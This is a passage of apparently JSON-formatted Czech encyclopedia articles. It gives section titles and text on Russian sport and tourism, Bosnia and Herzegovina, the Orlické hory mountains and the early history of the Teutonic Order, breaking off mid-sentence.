velkou částí západních zemí, mj. Spojenými státy a Spolkovou republikou Německo. Zatím předposlední Zimní olympijské hry 2014 byly uspořádány právě v Rusku, a to v Soči. K nejúspěšnějším olympionikům reprezentujícím Ruskou federaci patří lyžařky Ljubov Jegorovová (6 zlatých) a Larisa Lazutinová (5 zlatých), synchronizované plavkyně Anastasija Davydovová a Natalja Iščenková (5 zlatých), gymnasta Alexej Němov (4 zlaté), plavec Alexandr Popov (4 zlaté), šermíř Stanislav Pozdňakov (4 zlaté) nebo zápasníci Alexandr Karelin a Buvajsar Sajtijev se třemi zlatými. Nejúspěšnějšími atlety jsou tyčkařka Jelena Isinbajevová nebo běžkyně Světlana Mastěrkovová. Z časů Sovětského svazu (vezmeme-li v potaz jen sportovce s ruskou národností) jsou to gymnasta Nikolaj Andrianov (7 zlatých), rychlobruslařka Lidija Skoblikovová (6 zlatých), běžci na lyžích Raisa Smetaninová, Galina Kulakovová a Nikolaj Zimjatov (4 zlaté), plavec Vladimir Salnikov (4 zlaté) nebo běžkyně na středních tratích Taťjana Kazankinová (3 zlaté). Mimořádných úspěchů dosáhli Rusové v ledním hokeji. Z velké části za nimi stál náročný trenér Viktor Tichonov. Slavnou pětku snů čili tzv. „green line“ tvořili Igor Larionov, Sergej Makarov, Vladimir Krutov, Vjačeslav Fetisov a Alexej Kasatonov. Nejslavnějším brankářem byl Vladislav Treťjak. Do výběru nejlepších hráčů 20. století zařadila Mezinárodní hokejová federace krom jmenovaných ještě Valerije Charlamova. V severoamerické NHL se z Rusů nejvíce prosadili Alexandr Ovečkin, Jevgenij Malkin, Sergej Fjodorov, Alexandr Mogilnyj, Alexej Kovaljov, Pavel Dacjuk, Pavel Bure a Ilja Kovalčuk, z gólmanů pak vítěz Vezina Trophy Sergej Bobrovskij. Rusko již předstihlo Kanadu v počtu zlatých medailí z hokejového mistrovství světa (od roku 1993 získal pět titulů: 1993, 2008, 2009, 2012, 2014). Ruský tým vyhrál i olympijský turnaj (2018), byť pod značkou Olympijští sportovci z Ruska. V nadnárodní evropské lize KHL tvoří velkou většinu ruští hráči, ale působí zde i mnoho hráčů ze zahraničí. Také se jí účastní týmy z Kazachstánu, Lotyšska, Finska, Běloruska, Chorvatska, Slovenska a je považována po NHL za druhou nejlepší hokejovou", "Cestovní ruch v Rusku zaznamenal od konce sovětské éry rychlý růst. V roce 2013 Rusko navštívilo 28.4 milionů turistů, je to devátý nejnavštěvovanější stát na světě a sedmý nejnavštěvovanější v Evropě. Nejnavštěvovanější destinace jsou současné a bývalé hlavní města země – Moskva a Petrohrad. Nejnavštěvovanější místa jsou chrám Vasila Blaženého, Kreml, Rudé náměstí, katedrála Krista Spasitele (největší pravoslavný kostel na světě), katedrála svatého" ] }

{ "title": [ "Hranice.", "Historie.", "Raná historie.", "Středověk.", "Osmanská Bosna (1463–1878).", "Rakousko-Uherská vláda (1878–1918).", "Království Jugoslávie (1918–1941).", "Druhá světová válka (1941–1945).", "Socialistická Jugoslávie (1945–1992).", "Válka v Bosně (1992–1995).", "Protesty 2014.", "Geografie.", "Klima.", "Vnitřní politika.", "Výkonná moc.", "Parlament.", "Ústavní soud.", "Zahraniční vztahy.", "Administrativní dělení.", "Ekonomika.", "Dědictví války: minová pole.", "Silniční síť.", "Obyvatelstvo.", "Etnické skupiny.", "Jazyky.", "Náboženství.", "Kultura.", "Kuchyně.", "Sport." ], "section_level": [ "1", "1", "2", "2", "2", "2", "2", "2", "2", "2", "2", "1", "2", "1", "2", "2", "2", "1", "1", "1", "2", "2", "1", "2", "2", "2", "1", "2", "1" ], "content": [ "Na severu, západě a na jihu hraničí s Chorvatskem, na východě se Srbskem a na jihovýchodě s Černou Horou. Hranice tvoří řeky (hlavně na severu a na východě), na jihozápadní straně je přirozenou hranicí soustava horských pásem. Hranice státu se z velké části nekryjí s hranicemi etnickými. Země má přístup k Jaderskému moři a rozděluje tak Chorvatsko na dvě části.", "", "Původně římskou provincii Ilyricum obsadili v 6.–7. století Slované. Území Bosny bylo nejdříve součástí Byzantské říše, později Chorvatského království, srbských království Duklji (Zety) a Rašky a Uher.", "Ve 12. století se Bosna za vlády bána Kulina \"de facto\" osamostatnila a odolávala snahám Srbska, Uher, Chorvatska a Benátek o její ovládnutí. Po roce 1353 nakrátko rozkvetla za bána, později krále, Tvrtka I. Kotromaniće. V roce 1463 byla Bosna dobyta Turky, následujícího léta některé části země obsadil uherský král Matyáš Korvín a vytvořil zde dvě bánoviny, stejně jako roku 1482 hornatější Hercegovina (Hum).", "Za vlády Osmanské říše mnoho bosenských křesťanů přešlo na islám, čímž později došlo ke vzniku specifického etnika – bosenských Muslimů (Bosňáků).", "Roku 1875 se zejména pravoslavní Bosňané vzbouřili proti osmanské nadvládě. V roce 1878 se tak Bosna stala protektorátem Rakouska-Uherska. Rakouskouherská vojska vstoupila do Bosny a Hercegoviny 29. července 1878. Roku 1908 došlo k anexi Bosny a Hercegoviny Rakouskem-Uherskem.", "V Království Srbů, Chorvatů a Slovinců vzniklém v r. 1918 (1929 přejmenovaném na Jugoslávii) byly bosenské národnosti zahrnuty do sjednoceného státu.", "Během druhé světové války bylo Království Jugoslávie rozbito nacistickým Německem a oblast Bosny a Hercegoviny přičleněna k vzniklému Nezávislému státu Chorvatsko, jednomu ze satelitů Třetí říše. V Bosně a Hercegovině pod vládou Ustašovců tak začalo hromadné vyvražďování Srbů, Černohorců, Židů a Romů. Jako státní náboženství byl uznán jen římský katolicismus a také islám, zatímco pravoslaví jakožto symbol Srbů bylo tvrdě potlačováno. Během ustašovské nadvlády v koncentračních táborech a během čistek zahynulo jen v Bosně a Hercegovině asi 209 000 Srbů a Černohorců.", "V jugoslávské federaci (od r.1945) se stala Bosna a Hercegovina jednou ze 6 svazových republik, vymezenou na národnostním základě (s rovnoprávným postavením všech tří etnik).", "V době krize federace na začátku devadesátých let se mezi vedoucími představiteli bosenských Muslimů, Chorvatů a Srbů projevily rozpory ve věci formováni nezávislého státu. V březnu 1991 se sešli v Karadjordjevu ve Vojvodině Slobodan Milošević a Franjo Tuđman, aby si dohodli rozdělení země mezi Srbsko a Chorvatsko. V důsledku pozdějšího vývoje jejich vzájemných vztahů však k tomu nedošlo. Bosňáci a Chorvati vyhlásili 3. března 1992 nezávislost Bosny a Hercegoviny na základě vůle bosenského a chorvatského obyvatelstva vyjádřené v referendu dne 1. března 1992. Srbové referendum bojkotovali a 7. dubna 1992 vyhlásili vlastní republiku. Politický konflikt přerostl v ozbrojené srážky, kterým padlo za oběť mnoho obyvatel Bosny a Hercegoviny (mj. v tzv. etnických čistkách) a které velmi posílily vzájemnou nevraživost mezi národnostmi země. V této válce bojoval prakticky každý proti každému. OSN vyslala do Bosny a Hercegoviny jednotky, které rozdělily bojující strany. Nadace Lidových novin se významně podílela na humanitární pomoci pro Bosnu a Hercegovinu. V rámci sbírky SOS Sarajevo se podařilo vybrat více než 30 milionů korun, což umožnilo vypravit humanitární konvoje s potravinami a hygienickými potřebami do Sarajeva, Tuzly, Goražde a Maglaje. Mezi lety 1995 až 1998 představoval celkový objem pomoci 150 milionů korun. Po 42 měsících bojů byla pod tlakem Spojených států amerických 21. listopadu v Daytonu uzavřena mírová dohoda, která byla slavnostně ratifikována všemi bojujícími stranami v Paříži 14. prosince 1995. V roce 2007 vstoupila Bosna a Hercegovina do Středoevropské zóny volného obchodu.", "Více informací naleznete v samostatném článku Sociální nepokoje v Bosně a Hercegovině (2014)", "Bosna a Hercegovina leží na jihovýchodě Evropy, v západní části Balkánu. Hraničí s Chorvatskem na severu, severozápadě a na jihu; se Srbskem potom na východě a s Černou Horou na jihovýchodě. Skládá se ze dvou geografických a historických oblastí: větší Bosny (okolo 42 000 km2) a menší Hercegoviny na jihu. Bosna je velice hornatá země, totéž platí i o Hercegovině (okolo 9 000 km2). Na severu se horské oblasti přeměňují v nížinaté Posáví, resp. v Panonskou nížinu. Dinárské části Bosny se táhnou od západu na východ. Hercegovina se skládá ze dvou částí: horské (vysoké) a jadranské (nízké) Hercegoviny, která se dotýká Jadranského moře v oblastech od Neumu po poloostrov Klek. Významná jsou rovněž tzv. polje, rozsáhlejší horská údolí, která se objevují při povodí bosenských řek (Uny, Vrbasu, Bosny, Driny), od jihu k severu, resp. na Neretvě od severu k jihu. Hlavní město státu je Sarajevo (275 524, v metropolitní oblasti kolem 460 000), dalšími velkými městy jsou: Banja Luka (185 042), Tuzla (110 979), Zenica (110 663), Bijeljina (107 715), Mostar (105 797), Prijedor (89.397), Brčko, Bihać a Travnik. Nejvyšším vrcholem je Maglić (2 386 m n. m.), který se nachází v jihovýchodní části země. Klima je mírné kontinentální; léta jsou teplá a zimy naopak chladné.", "Země se člení dle klimatických charakteristik na tři části: Panonská nížina, Horské a polohorské oblasti a Jaderské moře. Panonská nížina leží na severu země a převládá v ní kontinentální klima. Zimy jsou mírné s průměrnou teplotou v nejchladnějším měsíci lednu od -0,2 do -0,9 °C. Naopak léta bývají dlouhá a teplá s průměrnou teplotou v nejteplejším měsíci červenci od 21 do 23 °C. Roční úhrn srážek se pohybuje od 1 050 mm na západě území do 750 mm na východě území. Horské a polohorské oblasti (známé v bosenštině jako planiny) zabírají většinu plochy Bosny a Hercegoviny. Jsou charakteristické krátkým teplým létem a dlouhou chladnou zimou. Průměrná celoroční teplota je 5 až 7 °C. Nejchladnější teplota je v lednu a pohybuje se od 2,5 do -3 °C. Minimální teploty mohou klesnout až na -35 °C. Roční úhrn srážek se pohybuje kolem 1 200 mm. Klimatická oblast Jaderského moře zabírá jen velmi malou plochu na území kolem města Neum na jihu země. Je charakteristická dlouhými teplými léty a mírnou zimou. Průměrná celoroční teplota vzduchu se pohybuje od 14 do 14,7 °C. V oblasti jsou poměrně velké roční srážkové úhrny, které dosahují od 1 500 do 2 000 mm. Srážky jsou nejčastější v období zimy a jara, zatímco léta bývají poměrně suchá.", "Bosna a Hercegovina se skládá ze dvou entit – Federace Bosny a Hercegoviny a Republika srbská. Zvláštní postavení zaujímá distrikt Brčko, který je společně spravován oběma entitami.", "V čele země \"de facto \"stojí Vysoký představitel pro Bosnu a Hercegovinu, který je volený Radou pro implementaci míru (PIC) v souladu s Daytonskými mírovými dohodami. Nejvyšším správním orgánem země je Předsednictvo Bosny a Hercegoviny neboli Prezídium (\"Predsjedništvo\"). To má tři členy (Bosňáka, Srba a Chorvata), kteří jsou do funkce voleni každé 4 roky. Na postu předsedy Předsednictva BaH se střídají každých 8 měsíců. Voleni jsou přímo (dva z Federace BaH a jeden z Republiky srbské). Předsedu Rady ministrů (\"Vijeće ministara, Savjet ministara\") jmenuje Předsednictvo BaH na návrh Parlamentu. Předseda Rady ministrů pak jmenuje celostátní ministry.", "Zákonodárným orgánem je Parlament Bosny a Hercegoviny (\"Parlamentarna skupština\"), který má dvě komory: Sněmovnu národů (\"Dom naroda\") a Poslaneckou sněmovnu (\"Predstavnički/Zastupnički dom\"). Sněmovna národů se skládá z 15 delegátů, kteří jsou ze dvou třetin voleni ve Federace BaH (5 Chorvatů a 5 Bosňáků) a z jedné třetiny v Republice srbské (5 Srbů). Poslanecká sněmovna se skládá ze 42 členů, kteří jsou ze dvou třetin voleni ve Federací BaH a z jedné třetiny v Republice srbské.", "Ústavní soud Bosny a Hercegoviny (\"Ustavni sud Bosne i Hercegovine\") je nejvyšší a konečná instance v právním systému Bosny a Hercegoviny. Má devět členů; čtyři jsou voleni Poslaneckou sněmovnou Federace BaH (2 Bosňáci a 2 Chorvati), dva jsou voleni Národní sněmovnou Republiky srbské (2 Srbové) a tři členy volí předseda Evropského soudu pro lidská práva po konzultacích s Předsednictvem BaH.", "Integrace do EU je jedním z hlavních politických cílů Bosny a Hercegoviny; proces stabilizace a přidružení zahájila v roce 2007. Zemím zapojených do procesu stabilizace a přidružení byla nabídnuta možnost se stát členskými státy EU, poté co splní nezbytné podmínky. Bosna a Hercegovina je tedy potenciální kandidátskou zemí pro vstup do EU.", "Bosna a Hercegovina je rozdělena na dvě, resp. tři, samosprávní jednotky (entity); těmi jsou Federace Bosny a Hercegoviny (25 989 km2), Republika srbská (25 208 km2) a oběma entitami spravovaný Distrikt Brčko (493 km2). Federace Bosny a Hercegoviny se skládá z 10 vysoce autonomních kantonů. Republika srbská je centralizovaný region.", "Bosna a Hercegovina byla vedle Makedonie nejzaostalejší republikou v bývalé socialistické Jugoslávii. Zemědělství bylo většinou v soukromých rukou, ale bylo nemechanizované, velmi nevýkonné a potraviny se musely dovážet. V době socialismu bylo v BaH umístěno velké množství těžkého průmyslu. Závody, které se tu nacházely, byly významnou částí průmyslu celé SFRJ: zbrojovky, hutní a strojírenské továrny, stavební firmy. Dnes trpí zastaralým vybavením a nekonkurenceschopností svých výrobků na vyspělých trzích. Přesto ještě stále živí velkou část obyvatel; sektor služeb zatím nedosahuje podílu na hospodářství srovnatelného se západními zeměmi. Tři roky války zničily většinu bosenského hospodářství a infrastruktury. Po ukončení bojů se výroba sice mírně zvýšila (1996–1998), zato ale růst se značně zpomalil (1999). HDP je i nadále pod úrovní z roku 1990. Nezaměstnanost činila v roce 2002 okolo 40 %. Na rozvoji ekonomiky BaH se podílí v rámci zahraniční rozvojové spolupráce (ZRS) i Česká republika (BaH byla zařazena mezi prioritní země české ZRS).", "Obrovským problémem pro rozvoj hospodářství, a také turistiky ale zůstává kolem 2 000 objevených (a zhruba dvojnásobku neobjevených) minových polí rozesetých hlavně v oblasti fronty (ta odpovídala velmi zhruba současnému členění na FBaH a RS); nejvíce zaminované pak je okolí Sarajeva, které bylo několik let obléháno. Mnoho min je však také rozeseto i po celém zbytku území státu. Viz bosenské stránky o problematice minových polí..", "Nyní se díky mohutné pomoci západních (hlavně evropských) zemí situace zlepšuje. Silniční síť je na většině hlavních tahů dobře obnovena. Přesto však vzhledem k sílící motorizaci země na mnoha místech nedostačuje; výstavba dálnic, či jiných moderních silničních komunikací, postupuje velmi pomalu (pouze krátké úseku u Sarajeva a Banja Luky jsou v provozu).", "Podle sčítání z roku 1991 žilo v Bosně a Hercegovině 4 377 000 obyvatel. Velké migrace během války v Jugoslávii v 90. letech způsobily v zemi velké demografické změny. Mezi lety 1991 a 2013 provést sčítání lidu znemožnily politické neshody. Sčítání lidu bylo nejprve naplánováno na rok 2011, pak 2012, ale nakonec k němu došlo v říjnu 2013. Podle sčítání v roce 2013 žilo v Bosně a Hercegovině celkem 3 791 622 obyvatel v 1,16 milionu domácnostech, tedy o 585 411 lidí méně než od posledního sčítání v roce 1991. Statistické informace se od té doby velmi změnily, jelikož během války v letech 1992–1995 zahynulo dle odhadů 100 000 obyvatel země (z toho 70 % Bosňáků, 25 % Srbů a 5 % Chorvatů), skoro polovina obyvatelstva byla přesídlena, a to jak v rámci země, tak i do zahraničí.", "Bosna a Hercegovina je domovem tří \"konstitutivních národů\", mezi které patří Bosňáci, Srbové a Chorvati, plus několik menších skupin, včetně Židů a Romů. Sčítání lidu roku 2013 ukázalo, že Bosnu a Hercegovinu obývá 50,1 % Bosňáků, 30,8 % Srbů, 15,4 % Chorvatů a 2,7 % ostatních. Podle sčítání z roku 1991 v Bosně a Hercegovině žilo 44 % Bosňáků (kteří se tehdy deklarovali jako Muslimové), 31 % Srbů, 17 % Chorvatů a 6 % Jugoslávců. Náboženské rozdělení kopírovalo etnické složení: 88 % Chorvatů byli katolíci, přes 90 % Bosňáků muslimy a 99 % Srbů pravoslavnými.", "Bosenská ústava nespecifikuje žádný oficiální jazyk. Stejný status bosenštiny, srbštiny a chorvatštiny potvrdil ústavní soud v roce 2000. Mluvčí tří daných jazyků si navzájem rozumějí, jazyky jsou dohromady známé jako srbochorvatština. Užívání jednoho z nich se stalo znakem etnické identity. Bosenština a srbština se píší latinkou i cyrilicí, zatímco chorvatština jen latinkou.", "Podle sčítání lidu z roku 2013 je v Bosně a Hercegovině většinové náboženství islám, které vyznává 51% populace a drtivá většina patří k sunnitům, 46% populace se identifikovalo jako křesťané, z nichž nejvíce přísluší k srbské pravoslavné církvi, což představuje 31% populace (většina z nich se identifikovala jako Srbové). Po nich následuje římskokatolická církev s 15 % (z nichž se většina identifikovala jako Chorvati), agnostici tvoří 0,3%, ateisté 0,8% a ostatní 1,15%, přičemž zbytek (1,1%) své náboženství nedeklaroval. Průzkum v roce 2012 zjistil, že 54% z bosenských muslimů jsou nepraktikující muslimové, zatímco 38% následuje sunnu.", "V Bosně se narodil nositel Nobelovy ceny za literaturu Ivo Andrić. K významným spisovatelům za jugoslávské éry patřil též Meša Selimović, Mak Dizdar nebo Branko Ćopić. Ke klasikům 19. století patří satirik Petar Kočić. Moderní prvky vnesl do bosenské poezie Jovan Dučić na konci 19. století. K současným autorům patří Miljenko Jergović. V žánru world music se stal mezinárodní hvězdou Goran Bregović. Začínal v kapele Bijelo dugme, která se stala nejpopulárnější rockovou skupinou v Jugoslávii. V jugoslávské populární hudbě se prosadil také Dino Merlin, Zdravko Čolić či Lepa Brena. Tomo Miličević je kytaristou známé americké skupiny Thirty Seconds to Mars. Režisér Danis Tanović získal roku 2001 Oscara za nejlepší neanglicky mluvený film. Režisérka Jasmila Žbanićová Zlatého medvěda na Berlinale. Emir Kusturica dvakrát získal Zlatou palmu v Cannes. Andreja Pejićová se proslavila jako transsexuální modelka.", "Kuchyně Bosny a Hercegoviny je rozkročena mezi západními a východními vlivy. Kuchyně je blízko příbuzná turecké kuchyni, kuchyni středního Východu a dalším středomořským kuchyním. Díky vlivů Rakouska-Uherska je tu nicméně také mnoho kulinářských vlivů ze střední Evropy. Používá mnoho koření, ale obvykle v mírném množství. Typické suroviny jsou rajčata, brambory, cibule, česnek, paprika, okurka, mrkev, zelí, houby, špenát, cuketa, sušené čerstvé fazole, švestky, mléko a zakysaná smetana nazývaná pavlaka a kajmak. Mezi typické pokrmy z masa patří především hovězí a jehněčí. Místními specialitami jsou čevabčiči, burek, dolma, sarma, pilaf, guláš, ajvar a celá řada východních sladkostí. Nejlepší místní vína pocházejí z Hercegoviny, kde je klima vhodné pro pěstování vinné révy. Naopak v Bosně se vyrábí švestková nebo jablečná pálenka, rakija.", "Samostatná Bosna a Hercegovina zatím nedosáhla na žádnou olympijskou medaili. Bosenští sportovci však dosáhli řady úspěchů v barvách bývalé Jugoslávie. Boxer Anton Josipović získal zlato na olympiádě v Los Angeles roku 1984. V jugoslávském fotbalovém týmu, který bral zlato na OH v Římě roku 1960 byli dva Bosňané, Tomislav Knez a Velimir Sombolac. V basketbalovém mužstvu, jež vyhrálo olympijský turnaj v Moskvě roku 1980, byli tři zástupci Socialistické republiky Bosna a Hercegovina: Mirza Delibašić, Dražen Dalipagić a Ratko Radovanović. Delibašić a Dalipagić byli navíc uvedeni do Síně slávy Mezinárodní basketbalové federace. Basketbalistka Razija Mujanovićová byla třikrát zvolena nejlepší hráčkou Evropy (1991, 1994, 1995). Na třech jugoslávských olympijských zlatýchv házené má podíl dokonce deset Bosňanů, mezi nimi dvě ženy: Svetlana Kitićová a Jasna Kolar-Merdanová. Kitićová byla navíc vyhlášena nejen nejlepší házenkářkou světa roku 1988, ale v roce 2010 dokonce nejlepší házenkářkou všech dob. Kolar-Merdanová titul nejlepší házenkářky světa získala v roce 1990. Z mužů lze jmenovat Zdravka Zovka, který po rozpadu Jugoslávie reprezentoval i Chorvatsko, či Abaze Arslanagiće, který byl u prvé zlaté z Mnichova 1972 jako hráč a u druhé z roku 1984 jako trenér. Házená má v Bosně velkou tradici, klub RK Borac Banja Luka sedmkrát vyhrál jugoslávskou ligu a v roce 1976 dokonce nejprestižnější klubovou soutěž Evropy, Pohár mistrů evropských zemí (dnes Liga mistrů). Basketbalovému týmu ze Sarajeva, jež dnes nese jméno KK Bosna Royal, se stejný úspěch povedl ve svém sportu roku 1979, ženskému družstvu ŽKK Jedinstvo Tuzla v roce 1989. Jednu medaili, bronzovou, samostatná Bosna a Hercegovina již získala na mistrovství světa v atletice, díky běžci na 800 metrů Amelu Tukovi. Judista Amel Mekić se v roce 2011 stal mistrem Evropy. Bosna a Hercegovina se probojovala na Mistrovství světa ve fotbale 2014, kde získala 3 body proti Íránu a skončila třetí v základní skupině. Nejúspěšnějším bosenským fotbalistou je Edin Džeko, který strávil několik let i v české fotbalové lize. Nejúspěšnějším trenérem je Ivica Osim. Nejlepším bosenským fotbalistou posledních padesáti let byl v roce 2003 zvolen Safet Sušić. Elvir Baljić vyhrál Ligu mistrů UEFA s Realem Madrid, Hasan Salihamidžić s Bayernem Mnichov. Elvir Rahimić zvedl nad hlavu Pohár UEFA s CSKA Moskva. Největší sportovní událostí konanou na území Bosny a Hercegoviny byly zimní olympijské hry roku 1984, jež hostilo Sarajevo. Šlo o první zimní hry v některé ze zemí východního bloku." ] }

{ "title": [ "Horopis.", "Polská část.", "Turistika.", "Odkazy.", "Literatura." ], "section_level": [ "1", "1", "1", "1", "2" ], "content": [ "Orlické hory jsou samostatným geomorfologickým celkem masivu Krkonošsko-jesenické subprovincie. Kompletní geomorfologické členění české části hor uvádí následující tabulka: Všechny nejvyšší hory s nadmořskou výškou nad 1000 m se nacházejí v nejsevernějším geomorfologickém podcelku Deštenské hornatině (i když Suchý vrch z Bukovohorské hornatiny dělí od tisícimetrové hranice pouhých 5 metrů). Nejvyššími vrcholy jsou Velká Deštná (1115 m), Koruna (1101 m) a Malá Deštná (1090 m). Podle prominence (převýšení od sedla) jsou nejvýznamnější Velká Deštná, Vrchmezí (nejvyšší hora polské části hor) a Tetřevec. Kompletní seznam tisícovek uvádí následující tabulka: Mezi další významné vrcholy patří Suchý vrch (995 m), Anenský vrch (991 m), Komáří vrch (991 m) a Buková hora (958 m). Další vrcholy jsou uvedené v seznamu vrcholů v Orlických horách.", "Orlické hory zasahují do Polska, kde se nazývají Góry Orlickie. Nejvyšší vrcholy se ovšem nacházejí v České republice, případně na česko-polských hranicích. Výšku 1000 m n. m. přesahují tyto tři hory:", "V Orlických horách se nacházejí lyžařská střediska Deštné v Orlických horách, Říčky v Orlických horách, Olešnice v Orlických horách, Sedloňov, Čenkovice a další, populární turistická Masarykova chata na Šerlichu a Šerlišský mlýn. Po hřebeni vede červeně značená turistická trasa Jiráskova cesta. Celým pohořím se táhne pás opevnění budovaného před druhou světovou válkou na obranu Československa před očekávaným útokem Německa. Známé jsou např. tvrze Hanička, Skutina, Dobrošov. Mezi nejnovější zajímavosti patří například Czech Hobbiton (Český Hobitín), který se nachází v někdejší obci Šediviny, nynější části obce Kounova.", "", "Monografie Kvalifikační práce Periodika" ] }

{ "title": [ "Dějiny rytířského řádu do roku 1525.", "Vznik řádu.", "Pobaltí.", "Řádový stát.", "Rozmach řádu.", "Porážka a úpadek.", "Řád po roce 1525.", "Německý řád.", "Řád řeholních kanovníků.", "Na českém území.", "Obnovená činnost řádu v Česku.", "Kontroverze.", "Heraldika." ], "section_level": [ "1", "2", "2", "2", "2", "2", "1", "1", "2", "2", "2", "1", "1" ], "content": [ "", "Řád německých rytířů byl původně špitálním řádem. Jeho historie začala roku 1190. Během obléhání Akkonu za třetí křížové výpravy založili brémští a lübečtí kupci působící v rámci řádu johanitů, polní lazaret pro poutníky do Svaté země. Roku 1199 pověřil papež Inocenc III. bratry, kteří se o nemocnici starali, bojem proti pohanům. Lazaretní bratrstvo se postupně přeměnilo na samostatný rytířský řád, jenž začal sdružovat německé rytíře, kteří dosud působili v řadách frankofonních johanitů. Jeho prvním sídlem se stalo Akko (Acre). \"Související články: Křížové výpravy, Křižácké státy, Fridrich Barbarossa, Třetí křížová výprava, Pátá křížová výprava, Šestá křížová výprava, Devátá křížová výprava\". Počátkem 13. století bylo křižácké panství v Palestině již velmi omezeno a poměr sil zde byl již značně vychýlen ve prospěch starších rytířských řádů, zejména konkurenčních templářů a johanitů, proto se řád snažil najít nové působiště v Evropě. Krátkou dobu působil v Benátkách a roku 1211 je uherský král Ondřej II. Uherský pozval do Sedmihradska. Úkolem rytířů tu bylo bránit východní hranice uherského království před vpády kočovníků a šířit v zakarpatských oblastech křesťanství a uherskou svrchovanost před pohanskými Kumány. Řád ve snaze zajistit si postavení v Evropě usiloval s pomocí papežské kurie o vynětí svěřeného mu území z moci krále. Ondřej II. ho proto roku 1225 vyhnal ze země.", "Na přelomu let 1225/1226 pozval kníže Konrád I. Mazovský řádové rytíře do Polska a nabídl jim odměnou za ochranu prusko-mazovského pohraničí državu chełmiňské země, ale při zachování knížecí svrchovanosti nad tímto územím. Vzhledem k předchozím zkušenostem s německými rytíři v Sedmihradsku, to byl velmi neprozřetelný čin, avšak Konrád byl rozhodnut získat pomoc řádu při obraně území, které se mu nedařilo ochránit před nájezdy pobaltských kmenů, zejména Prusů, kteří dosud nepřijali křesťanství a při svých nájezdech nebrali ohledy ani na kostely a kláštery. Konrád se dříve snažil problém vyřešit tím, že podporoval formování nového rytířského řádu, ale jeho úspěšnost nebyla vysoká. Naproti tomu němečtí rytíři, početnější a zkušenější z válek ve Svaté zemi a Sedmihradsku, byli pro tento úkol vhodnější. Bezprostředně poté potvrdil Konrád řádu držbu pohraničních území včetně těch, která měla být dobyta na Prusích. Císař Fridrich II. v tzv. Zlaté bule z Rimini (1226) udělil německým rytířům právo si pro sebe uzurpovat východní země (mimo jiné udělil velmistrům řádu používat i zlatě zdobený kříž s erbem říšského orla uprostřed, který řád používá dodnes). Roku 1234 na základě zfalšovaného rukopisu (tzv. krušvický falsifikát) papež Řehoř IX. přiznal řádu svrchovanost na územích Konráda Mazovského. Prusko té doby byla převážně zalesněná a bažinatá země, obývaná roztroušenými a politicky nejednotnými baltskými kmeny, ale nacházející se v přínosné blízkosti Baltského moře a jeho obchodních tras. Nikdo netušil, že se z nevýrazné vojenské organizace stane v průběhu několika let významná a vlivná vojenská a politická síla, která bude soupeřit i s okolními královstvími. Po sloučení německých rytířů s Řádem mečových rytířů, který působil ve východním Pobaltí, se Prusové ocitli v kleštích a byli do roku 1283 bezohledně podmaněni, třebaže kladli silný odpor (ještě roku 1283 se Prusové vzmohli na mohutné povstání, které bylo tvrdě potlačeno), též částečně podporovaný a iniciovaný sousedním Pomořanskem s úmyslem ochromit vzmáhající se řád.", "Na území Pruska vznikl mocný, dobře organizovaný a hospodářsky prosperující Stát Řádu německých rytířů (německy \"Staat des Deutschen Ordens\"), někdy nepřesně označovaný jako „Pruský řádový stát“ (podle jména země, ve které vznikl) či zastarale „Řádová země Prusy“. Druhý řádový státní útvar (Terra Mariana) vybudovala livonská větev řádu ve východním Pobaltí na území dnešního Lotyšska a Estonska. Němečtí rytíři a jeho livonská větev počali budovat na dobytém území rozvinutou infrastrukturu s dominantní sítí vojenských sídel a hradů, které byly netradičně budovány z pálených cihel. Ve snaze donutit místní porobené obyvatelstvo přijmout křest a nový způsob života (což se dařilo jen stěží), přivedl řád na své území mnoho německých osadníků a Pobaltí bylo postupně germanizováno (tím rovněž byly položeny i základy pro zrod budoucího německého státu v Prusku), původní pobaltské obyvatelstvo bylo takto kompletně asimilováno a jeho kultura i jazyk zanikly. Jak naznačují štědré výnosy i podpora evropských panovníků, řád se těšil z podpory Západu a tedy i neustálého přísunu dobrovolníků. Do jeho řad nepřicházeli pouze Němci a rytíři-šlechtici, ale prakticky kdokoli, kdo pocházel z německých zemí nebo zvládal německý jazyk. V řádu bylo možné sloužit také jen dočasně (jako „host“ řádu), což bylo pro mnohé západní šlechtice vítanou příležitostí, kterak získat bojové zkušenosti a třeba i majetek v podobě válečné kořisti. Po dobytí pruského a pomořanského území se agrese řádu obrátila proti pohanské Litvě a pravoslavným ruským knížectvím, jejichž obyvatelé byli považováni z katolického hlediska za heretiky či schizmatiky, později také proti katolickému Polsku, které udržovalo blízké spojenectví s Litvou. Roku 1240 zaútočili livonští řádoví rytíři v koordinaci se švédskými vojsky, která se vylodila v ústí Něvy, na severovýchodní Rus. Poté co se zmocnili pevnosti Izborsk, jim otevřelo svoje brány důležité obchodní středisko Pskov, neboť vládnoucí bojaři byli ochotni uznat svrchovanost řádu (Pskov byl součástí novgorodské země). Rytíři odsud podnikali další výpravy, na nichž se nebezpečně blížili k Novgorodu. Novgorodský kníže Alexandr Něvský, který porazil ještě roku 1240 Švédy na Něvě, vyrazil urychleně na sever, dobyl tu křižáckou pevnost Koporje a nechal ji rozbořit (1241). Poté vyhnal řádovou posádku z Pskova. Křižácké vojsko, které mělo vtrhnout na novgorodskou půdu severně Čudského jezera, zastavil Alexandr na jaře roku 1242 v tzv. „ledové“ bitvě, která se odehrála na zamrzlé jezerní ploše. Tato bitva ukončila s definitivní platností pokusy livonských rytířů proniknout na východ a německou východní expanzi ve středověku vůbec. Český král Přemysl Otakar II. se v letech 1254-1255 vydal poprvé na výpravu do Litvy. Spolu s ním se vydalo i mnoho členů české vysoké šlechty. Tato výprava byla úspěšná a krátce po ní byl založen hrad, pojmenovaný na Přemyslovu počest Königsberg (Královec). Působiště německých rytířů se ve 13. století plně přesunulo do východního Pobaltí, kde řád postupně založil větší počet hradů a měst. Kolem roku 1274 byl vybudován hrad Marienburg (dnes Malbork v Polsku), v jehož podhradí vznikla osada, která brzy získala městská práva. Roku 1309 se Marienburk stal sídlem velmistra řádu. V témže roce řád obsadil Východní Pomoří, čímž se dostal do konfliktu s Polskem. Spor se v roce 1321 dostal až k papežskému soudu, který řád prohrál, ale území Polsku nevrátil. Úplatkem řád přesvědčil francouzského krále, aby vymohl na papeži zrušení rozsudku. S ohledem na to, že v té době papež byl v tzv. Avignonském zajetí, tak ustoupil a rozsudek zrušil. V roce 1330 řád zaútočil na Polsko. Pustošil Kujavy a Velkopolsko. V roce 1331 byla řádová vojska zastavena v bitvě u vesnice Płowce. Od těchto událostí se jedním z hlavních politických cílů Polska stalo zničení řádu v Prusku. Velký zájem projevoval Řád německých rytířů o Žmuď (Žemaitsko), území litevských Žemaitů, které bylo vklíněno mezi území řádových států. V polovině 